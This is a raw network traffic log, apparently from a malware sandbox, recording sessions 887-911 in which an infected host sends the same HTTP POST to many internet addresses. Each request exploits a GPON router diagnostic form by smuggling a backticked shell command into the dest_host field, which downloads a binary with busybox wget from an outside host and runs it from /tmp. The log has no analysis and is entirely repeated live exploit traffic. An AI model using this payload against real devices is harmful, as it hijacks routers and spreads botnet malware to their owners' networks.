Apr 14, 2024 04:00:12.273571968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.23	52166	212.167.64.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273616076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.23	51808	94.67.72.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273659945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.23	47496	5.125.225.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273689032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.23	57156	202.51.141.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273731947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.23	40300	148.28.70.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273767948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.23	34314	123.74.179.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273823977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.23	47766	117.206.68.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273860931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.23	37772	202.41.155.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273891926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.23	36736	202.179.147.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273926973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.23	36056	178.47.154.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.273987055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.23	44304	42.43.94.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274012089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.23	48172	210.82.7.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274012089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.23	35472	117.10.55.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274076939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.23	46464	2.178.194.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274100065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.23	48728	117.72.255.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274116993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.23	42674	123.246.167.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274158955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.23	57208	42.22.226.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274219990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.23	49222	109.142.76.30	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274283886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.23	35188	212.230.99.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274327040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.23	35594	42.143.255.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274365902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.23	36580	202.212.196.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274409056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.23	38344	202.64.68.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274455070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.23	59054	148.19.201.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274528980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.23	54656	210.86.233.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274528980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.23	55546	212.54.237.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274576902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
